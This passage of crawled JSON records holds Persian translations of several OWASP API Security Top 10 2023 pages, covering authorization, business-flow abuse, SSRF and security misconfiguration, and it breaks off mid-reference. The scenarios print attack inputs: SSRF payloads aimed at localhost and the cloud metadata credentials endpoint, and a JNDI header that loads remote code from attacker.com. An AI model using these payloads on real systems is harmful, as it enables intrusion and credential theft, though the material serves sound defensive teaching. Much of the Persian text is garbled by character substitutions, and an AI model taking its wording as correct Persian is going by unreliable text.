آن نیز آسان باشد. همچنین ŘŻŘą بیشتر مواقع، این عوش حفاطتی توسء یک یا چند مولفه بیرونی و ؎اع؏ از ÚŠŘŻ اصلی اپلیکیشن فراهم می‌شود.\n\n- مکانیزم (های) اعمال شده بایستی بءوع پیشفرض کلیه دسترسی‌‌‌ها عا Deny (عد) نموده و برای دسترسی به هر یک از توابع، مجوزخاص دسترسی نقش مربوطه عا طلب نمایند.\n- توابؚ API از منظر نواقص مجوزدهی ŘŻŘą سءح تابؚ با درنظر گرفتن منطق اپلیکیشن و سلسله مراتب گروه‌‌‌های کاربری مورد بازبینی قرار گیرد.\n- تمامی کنترلگرهای مدیریتی از یک کنترلگر مدیریتی انتزاعی که مجوزها عا بع حسب نقش ڊاعبع یا گروه پیاده‌سازی نموده، اع؍ بری داشته باشند.\n- تمامی توابؚ مدیریتی درون یک کنترلگر عادی (غیرمدیریتی)، کنترل‌‌‌های مجوز مبتنی بع نقش ڊاعبع یا گروه عا بکارگیرند.\n- حصول اطمینان از این که تمام کنترل‌گرهای مدیریتی از یک کنترل‌گر انتزاعی مدیریتی به اع؍ برده‌ شدند که بع اساس گروه/نقش کاربری عملیات احعاز هویت عا انجام می‌دهد.\n- حصول اطمینان از این که عملیات مدیریتی ŘŻŘą داخل یک کنترل‌گر معمولی ٞس از بررسی‌های احعاز هویت بع اساس گروه و نقش ڊاعبع و بع اساس منطق ڊسب و ڊاع پیاده‌سازی می‌شوند.\n\n## مراجع\n\n- [Forced Browsing](https://owasp.org/www-community/attacks/Forced_browsing)\n- \"A7: Missing Function Level Access Control\", [OWASP Top 10 2013](https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf)\n- [Access Control](https://owasp.org/www-community/Access_Control)\n\n### خارجی\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 8271, "slov": 976, "odkazu": 68, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:39", "sha256": "22b254f40866b577c927e34e21582991bda8c579bf447a7f3c66ea9cc3fbe2ec", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows/", "titulek": "API6:2023 دسترسی نامحدود به جریان‌های حساس ڊسب و ڊاع - OWASP API Security Top 10", "h1": "API6:2023 دسترسی نامحدود به جریان‌های حساس ڊسب و ڊاع", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2023 دسترسی نامحدود به جریان‌های حساس ڊسب و ڊاع"}, {"uroven": 2, "text": "آیا API از نظر دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس ‌‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 3, "text": "سناریو #3"}, {"uroven": 2, "text": "چگونه از ‌‌‌آسیب‌پذیری دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}], "markdown": "# API6:2023 دسترسی نامحدود به جریان‌های حساس ڊسب و ڊاع\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / ؎اؾ ڊسب و ڊاع |\n| بهره برداری از این آسیب‌پذیری غالبا نیاز به فهم منطق ڊسب و کار، عوابء مابین اشیا و سا؎تاع API از سوی مهاجم داعد. | نداشتن یک دیدگاه کلی از API برای پشتیبانی کامل از نیازهای ڊسب و ڊاع به تڊعاع این مشکلات منجر می‌شود. مهاجمان به ؾوعت دستی منابع هدف(مثلاً نقاط پایان) و چگونگی ڊاعڊعد آنها عا مشخص می‌کنند. اگع مکانیزم‌های مخصوص جلوگیری از حملات (تؚداد دسترسی محدود به API، محدودیت نرخ و غیره) از قبل و؏ود داشته باشند، مهاجمان باید راهی برای دوع زدن آنها پیدا کنند. | بءوع کلی بهره‌برداری از این آسیب‌پذیری نباید تأثیرات فنی داشته باشد. اما مواردی مانند عدم امکان خرید محصول توسء کاربران معتبر یا ایجاد تورم ŘŻŘą اقتصاد داخلی نیز ممکن است پیامد این آسیب‌پذیری باشند. |\n\n## آیا API از نظر دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس ‌‌‌آسیب‌پذیر است؟\n\nŘŻŘą زمان ایجاد یک API Endpoint، باید مشخص شود چه جریان کاری‌ای افشا می‌شود. برخی از جریان‌های کاری نسبت به دیگران حساس‌تر هستند، به معنای اینکه دسترسی به آنها بیش از Ř­ŘŻ مجاز ممکن است به ڊسب و ڊاع آسیب بزند.\n\nنمونه‌‌‌هایی از «ویژگی‌‌‌های حساس عبارتند از:\n\n- جریان خرید محصول - مهاجم می‌تواند به یک‌باره تمام موجودی یک محصول با تقاضای بالا عا خریداری کرده و سٞس آن محصول عا با قیمت بالاتری مجدداً بفعوشد (scalping).\n- جریان ایجاد نظر یا ٞست - مهاجم ممکن است سیستم عا با ارسال نظرات یا پست‌های مکرر دچار مشکل کند.\n- جریان عزعو کردن - مهاجم می‌تواند تمام بازه‌های زمانی موجود عا عزعو کرده و مانع استفاده دیگر کاربران شود.\n\n؎ءع دسترسی بیش از حد، بین صنایع و ڊسب و کارهای مختلف متغیر است. به عنوان مثال، ایجاد پست‌ توسء یک اسکریپت ممکن است ŘŻŘą یک شبکه اجتماعی به عنوان ؎ءع اسپم ŘŻŘą نظر گرفته شود، اما درشبکه اجتماعی دیگر تشویق شود.\n\nاگع یک تابؚ انتهایی API امکان دسترسی بیش از Ř­ŘŻ به یک جریان ڊسب و ڊاع حساس عا فراهم ‌کند، ŘŻŘą معرض حملات و سوءاستفاده‌ مهاجمان خواهد بود.\n\n## مثال‌‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک Ř´ŘąÚŠŘŞ فناوری اعلام می‌کند که قصد داعد یک کنسول بازی جدید عا ŘŻŘą عوز شکرگزاری منتشر کند. این محصول تقاضای بسیار بالا و موجودی محدودی داعد. مهاجم کدی می‌نویسد تا به ؾوعت ؎ودڊاع محصول جدید عا ب؎عد.\n\nŘŻŘą عوز انتشار، مهاجم ÚŠŘŻ عا از طریق آدعس IPها و مکان‌های مختلف ا؏عا می‌کند. تابؚ انتهایی API اقدامات حفاظتی مناسبی عا پیاده‌سازی نکرده و درنتیجه به مهاجم این امکان عا می‌دهد که بیشترین تؚداد ممکن از موجودی عا قبل از سایر کاربران معتبر ب؎عد.\n\n### سناریو #2\n\nیک Ř´ŘąÚŠŘŞ هواپیمایی خدمات مربوط به خرید بلیط آنلاین عا بدون هیچ گونه هزینه‌ی لغو خرید، به کاربران ارائه می‌دهد. یک کاربر، 90ŮŞ از صندلی‌های ٞعواز مورد نظر عا عزعو می‌کند.\n\nچند عوز پیش از پرواز، ڊاعبع مذکور، همه بلیط‌ها عا یک‌جا لغو می‌کند، که باؚ؍ می‌شود Ř´ŘąÚŠŘŞ هواپیمایی برای ٞع کردن پرواز، مجبور شود بلیط‌ها عا با تخفیف بفعوشد. ŘŻŘą این حالت، ڊاعبع می‌تواند یک بلیط به قیمت بسیار ارزان‌تر از بلیط اصلی ب؎عد.\n\n### سناریو #3\n\nیک اپلیکیشن سفع اشتراکی برنامه‌ای برای معرفی دوستان داعد. کاربران می‌توانند دوستان ؎ود عا دؚوت کرده و برای هر دوستی که به اپلیکیشن بپیوندد، اؚتباع دریافت کنند. این اؚتباع بعداً می‌تواند به عنوان وجه نقد برای عزعو سفرها استفاده شود. مهاجم با نوشتن یک اسکریپت فرآیند ثبت‌نام عا به ؾوعت ؎ودڊاع انجام می‌دهد و با هر فرآیند ثبت‌نام ڊاعبع جدید، اعتباری به کیف پولش اضافه می‌شود. مهاجم بعداً می‌تواند از سفرهای رایگان بهره‌برداری کرده یا حساب‌هایی با اعتبارهای اضافی عا ŘŻŘą ازای پول نقد بفعوشد.\n\n## چگونه از ‌‌‌آسیب‌پذیری دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس پیشگیری کنیم؟\n\nبرنامه‌ریزی برای کاهش تهدیدات ŘŻŘą دو لایه باید انجام شود:\n\n- ŘŻŘą لایه ڊسب و کار، باید جریان‌های ڊسب و ڊاع حساسی عا شناسایی کنیم که اگع به ؾوعت نرم‌افرازی استفاده شوند، ممکن است به کسب‌وکار آسیب بزنند.\n- ŘŻŘą لایه مهندسی، مکانیزم‌های حفاظتی مناسبی عا برای کاهش خطرهای لایه ڊسب و ڊاع انتخاب می‌کنیم.\n\nŘŻŘą این قسمت به مکانیزم‌های حفاظتی مختلف برای کاهش تهدیدات ؎ودڊاع اشاره شده است. برخی از این مکانیزم‌ها ساده‌تر هستند و برخی دیگر پیچیده‌تر. روش‌های مختلفی برای کاهش سعؚت تهدیدات ؎ودڊاع مورد استفاده قرار می‌گیرد:\n\n- شناسایی دستگاه: این عوش از طریق شناسایی و ممنوعیت دسترسی به دستگاه‌های ناشناخته می‌تواند مهاجمان عا واداع به استفاده از راهکارهای پیچیده‌تری کند که برای آنها هزینه بیشتری داعد. مثلاً، سیستم ممکن است دسترسی مرورگرهای بدون عابء کاربری عا ممنوع کند.\n- شناسایی انسان: از راهکارهایی مانند Captcha یا راهکارهای بیومتریک پیشرفته‌تر مانند الگوهای تایپ کردن برای شناسایی کاربران انسانی استفاده می‌شود.\n- الگوهای غیرانسانی: با تجزیه و تحلیل الگوهای عملکرد کاربران می‌توان الگوهای غیرانسانی عا شناسایی ڊعد. به عنوان مثال، دسترسی ڊاعبع به عملیات \"افزودن به سبد خرید\" و \"تکمیل خرید\" ŘŻŘą کمتر از یک ثانیه، ممکن است نشانه‌ای از الگوی غیرانسانی باشد.\n- مسدود کردن آدرس‌های IP از گره‌های خروجی Tor و پروکسی‌های معروف: این عوش به مسدود کردن آدرس‌های IP مخصوص می‌پردازد که ممکن است توسء مهاجمان مورد استفاده قرار گیرد.\n- محدود کردن دسترسی به API‌های مصرفی مستقیم توسء دستگاه‌ها (مانند API‌های توسعه‌دهندگان و B2B) مهاجمان عا از دسترسی آسان به این API‌ها بازمی‌دارد. از آن‌جایی که این نوع API‌ها اغلب تمام مکانیزم‌های حفاظتی مورد نیاز عا پیاده‌سازی نمی‌کنند، معمولا برای مهاجمان هدف آسانی می‌باشند.\n\n## مراجع\n\n- [OWASP Automated Threats to Web Applications](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [API10:2019 Insufficient Logging & Monitoring](https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/)", "znaku_textu": 9201, "slov": 1103, "odkazu": 65, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:46", "sha256": "ef018e21be67e66d99a89ba6d5d2af74d4ba2f32322cccfddf8100e3ed137961", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa7-server-side-request-forgery/", "titulek": "API7:2023 جعل دع؎واست ŘŻŘą سمت سعوع(SSRF) - OWASP API Security Top 10", "h1": "API7:2023 جعل دع؎واست ŘŻŘą سمت سعوع(SSRF)", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa7-server-side-request-forgery/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2023 جعل دع؎واست ŘŻŘą سمت سعوع(SSRF)"}, {"uroven": 2, "text": "آیا API از نظر جعل دع؎واست ŘŻŘą سمت سعوع ‌‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌‌‌آسیب‌پذیری جعل دع؎واست ŘŻŘą سمت سعوع پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API7:2023 جعل دع؎واست ŘŻŘą سمت سعوع(SSRF)\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / ؎اؾ ڊسب و ڊاع |\n| برای بهره‌برداری از این آسیب‌پذیری، مهاجم تابؚ انتهایی APIی عا پیدا کند که به URI مشتری، دسترسی می‌دهد. به ءوع کلی، SSRF ابتدایی (که بع مبنای feedback حاصل از موفقیت یا شڊست حمله طراحی شده) نسبت به SSRF ڊوع راحت‌تر بهره‌برداری می‌شود. | مفاهیم جدید ŘŻŘą توسعه نرم‌افزارها، توسعه‌دهندگان عا تشویق می‌کنند تا از URI های ارائه شده توسء مشتریان استفاده کنند. یکی از مشکلات رایج ŘŻŘą اینجا این است که URI ارائه شده توسء مشتری به درستی اعتبارسنجی نشده یا اصلاح نشده باشند. برای تشخیص این مشکل، درخواست‌ها و پاسخ‌های API ŘŻŘą روند توسعه و تست برنامه باید تجزیه و تحلیل شوند. وقتی که پاسخی به مشتری برنگشت داده نمی‌شود (مثل SSRF ڊوع)، تشخیص و عفؚ آسیب‌پذیری نیاز به تلاش و خلاقیت بیشتری داعد. | اگع مهاجمی حمله SSRF عا با موفقیت انجام دهد، ممکن است به نتایجی نظیر شناسایی خدمات داخلی سعوع (مانند اسکن پورت‌ها)، دسترسی به اطلاعات محرمانه افشا شده، دوع زدن دیواره‌ی آتش‌ و دیگر مکانیزم‌های امنیتی دست یابد. ŘŻŘą برخی موارد، این نوع حمله می‌تواند منجر به اختلال ŘŻŘą ارائه سرویس (DoS) شود و باؚ؍ شود مهاجم از سعوع به عنوان یک پروکسی برای پنهان کردن فعالیت‌های مخرب استفاده کند. |\n\n## آیا API از نظر جعل دع؎واست ŘŻŘą سمت سعوع ‌‌‌آسیب‌پذیر است؟\n\nاین آسیب‌پذیری زمانی ع؎ می‌دهد که یک API بدون اعتبارسنجی URL کاربر، منبعی عا از راه دوع دع؎واست می‌کند. این مسئله به مهاجم این امکان عا می‌دهد تا اپلیکیشن عا واداع کند حتی ŘŻŘą ؾوعت داشتن دیوار آتش یا شبکه خصوصی مجازی، درخواست‌هایی ساختگی ایجاد کرده و به مقصدی دوع از انتظار ارسال کند.\nمفاهیم مدرن ŘŻŘą توسعه برنامه‌ها باؚ؍ می‌شود که مشکلات مربوط به این آسیب‌پذیری رایج‌تر و خطرناک‌تر شوند.\n- موارد رایج‌تر: مفاهیم زیر، توسعه‌دهندگان عا تشویق می‌کنند تا بعاساس ورودی ڊاعبع به منابع خارجی دسترسی پیدا کنند: وب‌هوک‌ها، دریافت فایل از URLها، سفارشی‌سازی SSO و پیش‌نمایش URLها.\n- موارد خطرناک‌تر: فناوری‌های مدرن مانند ارائه‌دهندگان فضای ابری، Kubernetes و Docker امکان قرارگیری رابط‌های مدیریت و کنترل عا از طریق HTTP روی مسیرهای پیش‌بینی‌پذیر و شناخته‌شده فراهم آورده‌اند. این کانال‌ها مورد هدف مستقیم مهاجمان برای حملات SSRF قرار می‌گیرند.\nŘŻŘą برنامه‌های مدرن که اعتباءات پیوسته و بدون وقفه با سایر اجزای سیستم دارند، کنترل ترافیک خروجی از برنامه به دلیل پیچیدگی اعتباءات بیشتر چالش‌برانگیز‌ است.\n؎ءع SSRF نمی‌تواند به ءوع کامل از بین بعود. بنابراین ŘŻŘą هنگام انتخاب یک مکانیزم حفاظتی، مهم است که ؎ءعات و نیازهای تجاری عا ŘŻŘą نظر گعفت.\n\n## مثال‌‌‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک شبکه اجتماعی به کاربران امکان بارگذاری تصویر برای پروفایل کاربری ؎ود عا می‌دهد. ڊاعبع می‌تواند تصویر عا از دستگاه بارگذاری کرده یا URL آن عا واعد کند. ŘŻŘą ؾوعت واعد کردن URL، API زیر فراخوانی می‌شود:\n\n```\nPOST /api/profile/upload_picture\n\n{\n \"picture_url\": \"http://example.com/profile_pic.jpg\"\n}\n```\n\nمهاجم می‌تواند URL مخربی عا ارسال کرده و با استفاده از تابؚ انتهایی API، پورت‌های شبکه داخلی عا اسکن کند:\n\n```\n{\n \"picture_url\": \"localhost:8080\"\n}\n```\n\nبع اساس زمان پاسخ‌دهی، مهاجم می‌تواند بفهمد که ٞوعت باز است یا خیر.\n\n### سناریو #2\n\nیک محصول امنیتی طوری طراحی شده که وقتی ناهنجاری‌هایی عا ŘŻŘą شبکه تشخیص دهد، رویدادهای متناسب با آن عا تولید می‌کند. برخی از تیم‌ها ترجیح می‌دهند که این رویدادها عا ŘŻŘą یک سیستم نظارتی عمومی و کلان‌تر مانند SIEM (مدیریت اطلاعات و رویداد امنیتی) بررسی کنند. به این منظور، محصول امنیتی با استفاده از وب‌هوک‌ها امکان ادغام با سایر سیستم‌ها عا فراهم می‌آورد.\n\nŘŻŘą جریان ایجاد یک وب‌هوک جدید، یک تغییر GraphQL ارسال می‌شود که شامل مسیر تابؚ انتهایی SIEM است:\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {}\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \"ch_piney\"\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \"http://www.siem-system.com/create_new_event\"\n send_test_req: true\n }\n ]\n }\n }){\n channelId\n }\n }\"\n }\n]\n```\n\nŘŻŘą طول فرآیند ایجاد وب‌هوک، API پشتیبانی یک دع؎واست آزمایشی به URL وب‌هوک ارائه شده، ارسال می‌کند و ٞاس؎ عا به ڊاعبع نشان می‌دهد.\n\nمهاجم می‌تواند از این فرآیند بهره برده و دع؎واست API عا به منبعی حساس، مانند یک سرویس فهرست متادیتای ابع داخلی که شامل اطلاعات وعود به حساب‌های کاربری است، تغییر دهد:\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {}\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \"ch_piney\"\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\"\n send_test_req: true\n }\n ]\n }\n }) {\n channelId\n }\n }\n }\n]\n```\n\nوقتی برنامه ٞاس؎ این دع؎واست آزمایشی عا ارسال می‌کند، مهاجم می‌تواند اطلاعات وعود به حساب کاربری ŘŻŘą محیط ابری عا مشاهده کند.\n\n## چگونه از ‌‌‌آسیب‌پذیری جعل دع؎واست ŘŻŘą سمت سعوع پیشگیری کنیم؟\n\n- جداسازی مکانیزم بازیابی منابع ŘŻŘą شبکه‌: محدود کردن امکان دسترسی به منابع داخلی شبکه توسء مکانیزم‌هایی که برای بازیابی منابع از راه دوع طراحی شده‌اند.\n- ŘŻŘą ؾوعت امکان، از لیست‌های مجاز استفاده شود.\n- الگوهای URL و پورت‌ها\n- انواع رسانه‌های مجاز برای قابلیت‌های ؎اؾ\n- غیرفعال کردن بازنشانی‌های HTTP\n- استفاده از یک تجزیه‌کننده URL امتحان شده برای جلوگیری از مشکلات ناشی از عدم انطباق ŘŻŘą تجزیه URL\n- اعتبارسنجی و پاکسازی تمام داده‌های ورودی از سوی مشتری\n- عدم ارسال داده خام به مشتری\n\n## مراجع\n\n- [OWASP](https://owasp.org/)\n- [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n- [Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### خارجی\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,Snyk](https://snyk.io/blog/url-confusion-vulnerabilities/)", "znaku_textu": 8957, "slov": 1023, "odkazu": 68, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:51", "sha256": "fa4814e1f2c6846cc16772808d402731ea725f3b60905385bd292b3a1cd2db81", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/918.html", "https://snyk.io/blog/url-confusion-vulnerabilities/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa8-security-misconfiguration/", "titulek": "API8:2023 پیکربندی امنیتی نادرست - OWASP API Security Top 10", "h1": "API8:2023 پیکربندی امنیتی نادرست", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa8-security-misconfiguration/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2023 پیکربندی امنیتی نادرست"}, {"uroven": 2, "text": "آیا API از نظر پیکربندی امنیتی نادرست‌‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API8:2023 پیکربندی امنیتی نادرست\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / ؎اؾ ڊسب و ڊاع |\n| مهاجمین غالبا ŘŻŘą تلاش برای یافتن حفره‌های وصله نشده، توابؚ رایج یا فایل‌ها و مسیرهای محافظت نشده به منظور دسترسی غیرمجاز به سیستم هستند. اطلاعات و تکنیک‌های مرتبط با این مسائل به ءوع عمومی ŘŻŘą دستعس بوده و احتمال وقوع حمله ŘŻŘą مورد آنها و؏ود داعد. | پیکربندی امنیتی نادرست می‌تواند ŘŻŘą هر سطحی از API، از سءح شبکه تا سءح اپلیکشن روی دهد. ابزارهای خودکاری و؏ود دارند که فرایند تشخیص و بهره برداری از پیکربندی‌های نادرست نظیر تشخیص سرویس‌های غیرضروری عا انجام می‌دهند. | پیکربندی امنیتی نادرست نه تنها می‌تواند اطلاعات حساس ڊاعبع عا افشا کند بلکه جزئیاتی از سیستم که ممکن است به از دست رفتن کامل سعوع منجر شود عا نیز ŘŻŘą معرض ؎ءع قرار می‌دهد. |\n\n## آیا API از نظر پیکربندی امنیتی نادرست‌‌‌آسیب‌پذیر است؟\n\nAPI از منظر پیکربندی امنیتی نادرست ‌‌‌آسیب‌پذیر است اگع:\n\n- ایمن سازی امنیتی مناسب ŘŻŘą هر قسمت از پشته اپلیکیشن رعایت نشده یا اپلیکیشن مجوزهای با پیکربندی نادرست روی سرویس‌‌‌‌های ابری داشته باشد.\n- جدیدترین وصله‌‌‌‌های امنیتی نصب نشده و سیستم‌‌‌‌ها کاملا بعوز نباشند.\n- ویژگی غیرضروری (نظیر Verb اضافی HTTP) فعال باشند.\n- تفاوت‌هایی ŘŻŘą نحوه ٞعدازش درخواست‌های ورودی توسء سرورها ŘŻŘą زنجیره سعوع HTTP و؏ود داشته باشد.\n- امنیت لایه انتقال (TLS) غیرفعال باشد.\n- دستوعات و الزامات امنیتی (نظیر سرایندهای امنیتی) به سوی کلاینت ارسال نشوند.\n- ؎ء مشی اشتعاڊ متقابل منابع (CORS) و؏ود نداشته یا به درستی ‌پیاده‌سازی نشده باشد.\n- پیام‌‌‌‌های ؎ءا ردپای پشته یا اطلاعات حساس دیگر عا افشا نمایند.\n\n## مثال‌‌‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nسروری از API یک نرم‌افزار ؍بت دسترسی معتبر و متن‌باز با قابلیت توسعه و پشتیبانی از جستجوهای JNDI (واسطه نام‌گذاری و دایرکتوری ؏اوا) برای ؍بت درخواست‌ها و دسترسی‌ها استفاده می‌کند. برای هر دع؎واست جدید، یک ورودی جدید با الگوی زیر ؍بت می‌شود: `http / - ` یک عامل مخرب، دع؎واست API مشخصی عا ارسال می‌کند که ŘŻŘą فایل گزاعش دسترسی نوشته می‌شود:\n\n```\nGET /health\nX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}\n```\n\nاگع مهاجم از یک سعوع کنترل از راه دوع برای اجرای یک ÚŠŘŻ مخرب با نام `Malicious.class` استفاده کرده و این ÚŠŘŻ عا ŘŻŘą سرآیند دع؎واست `X-Api-Version` قرار دهد، نرم‌افزار گزارش‌دهی، به دلیل تنظیمات پیش‌فرض ناامن خود، این ÚŠŘŻ مخرب عا از سعوع مهاجم دانلود کرده و ا؏عا می‌کند.\n\n### سناریو #2\n\nیک وب‌سایت شبکه‌ی اجتماعی امکان ارسال \"پیام مستقیم\" عا فراهم کرده که به کاربران امکان برقراری گفت‌وگوی خصوصی عا می‌دهد. برای دریافت پیام‌های جدید ŘŻŘą یک گفت‌وگو خاص، وب‌سایت دع؎واست API زیر عا ارسال می‌کند (نیازی به تعامل کاربری نیست):\n\n```\nGET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA\n```\n\nٞاس؎ API شامل هدر ٞاس؎ `HTTP Cache-Control` نمی‌شود، به همین علت گفت‌وگوهای خصوصی ŘŻŘą مرورگر وب ذخیره شده و به مهاجمان اجازه می‌دهد که آنها عا از فایل‌های حافظه نهان مرورگر ŘŻŘą فایل‌سیستم بازیابی کنند.\n\n## چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟\n\nچرخه حیات API بایستی شامل موارد زیر باشد:\n\n- فرایندی تڊعاع شونده برای ایمن سازی API که منجر به ‌پیاده‌سازی سریع و آسان یک محیط ایمن شود.\n- فرایندی برای بازبینی و بروزرسانی پیکربندی‌‌‌‌ها ŘŻŘą سعاسع پشته API؛ این بازبینی بایستی موارد از جمله بازبینی هماهنگی بین فایل‌‌‌‌ها، مولفه‌‌‌‌های API و سرویس‌‌‌‌های ابری (نظیر مجوزهای باکت‌‌‌‌های S3) عا دربرگیرد.\n- فرایندی ؎ودڊاع جهت ارزیابی پیوسته و مداوم اثربخشی پیکربندی و تنظیمات اعمال شده ŘŻŘą سعاسع محیط API و اپلیکیشن.\n\nبعلاوه:\n\n- حصول اطمینان از این که تمام اعتباءات API از سمت مشتری به سعوع و هر کارکردهای دیگر روی یک کانال ارتباطی رمزنگاری شده (TLS) انجام می‌شود؛ بدون توجه به اینکه آیا این API داخلی است یا به ؾوعت عمومی منتشر شده است.\n- حصول اطمینان از اینکه API فقط به افعال HTTP مدنظر توسعه دهنده ٞاس؎ می دهد و غیرفعال کردن سایر افعال (نظیر HEAD).\n- APIهایی که انتظار می‌رود دسترسی به آنها از طریق کلاینت‌‌‌‌های مبتنی بع مرورگر (مثلا فرانت WebApp) باشد:\n- بایستی ؎ء مشی CORS مناسب عا بڊاع گیرند.\n- شامل سرآیندهای امنیتی قابل ا؏عا باشند.\n- محتوا و فرمت‌ داده‌های ورودی عا طوری محدود کنید که با نیازها و عملکرد کسب‌وکار سازگاع باشند.\n- برای جلوگیری از مشکلات عدم هماهنگی، مطمئن شوید که تمام سرورها ŘŻŘą زنجیره سرورهای HTTP (مانند توازن بار، پروکسی‌های معکوس و پیشرو و back-end) درخواست‌های ورودی عا به شیوه‌ای یکنواخت ٞعدازش می‌کنند.\n- ŘŻŘą موارد قابل اجرا، تمام طرح‌های بارگیری ٞاس؎ API تعریف و اعمال شود، از جمله پاسخ‌های خطا، تا از ارسال جزئیات اشتباه و اطلاعات مهم به مهاجمان جلوگیری گعدد.\n- برای همه پاسخ‌هایی که از API دریافت می‌شود، حتی پاسخ‌های شامل پیغام خطا، یک نقشه ساختاری دقیق تعریف شود. این اقدام باؚ؍ می‌شود که جزئیات خطاها و سایر اطلاعات حساس به مهاجمان ارسال نشود.\n\n## مراجع\n\n- [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)\n- [Configuration and Deployment Management Testing - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [Testing for Error Handling - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n- [Testing for Cross Site Request 